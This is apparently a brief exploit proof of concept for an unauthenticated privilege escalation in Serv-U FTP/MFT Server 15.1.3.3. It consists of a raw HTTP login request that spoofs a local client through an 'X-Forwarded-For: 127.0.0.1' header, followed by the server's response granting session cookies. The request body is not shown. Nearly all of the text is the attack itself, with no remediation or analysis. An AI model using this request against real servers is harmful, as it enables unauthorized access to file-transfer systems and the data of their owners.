Serv-U FTP/MFT Server Unauthenticated Privilege Escalation

                                                
POST /?Command=Login HTTP/1.1
Host: a.b.c.d
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https://a.b.c.d/?Command=Login
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
X-Forwarded-For: 127.0.0.1


HTTP/1.0 200 OK
Server: Serv-U/15.1.3.3
Date: Fri, 30 Dec 2016 19:55:08 GMT
Accept-Encoding: deflate
Connection: close
X-Frame-Options: sameorigin
X-Same-Domain: 1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/html
Pragma: no-cache
Cache-Control: no-cache,no-store,max-age=0,must-revalidate
Expires: -1
Set-Cookie: Session=_0e4fc91af8f915d937fa30069988d394f6e9d35ba33dcf70e91989274b4176971d9db4f98fcbd2880bbf0388ad64dfcfa16ed71408233c9bead00bf0765a4109d2702b2f259c85688f5c30dd378a14690754581406246bf8; path=/; secure; httponly;
Set-Cookie: CsrfToken=DC7B472F0392962F375B52BB993251C7; path=/; secure; httponly;
Set-Cookie: SULang=en
Content-Length: 67458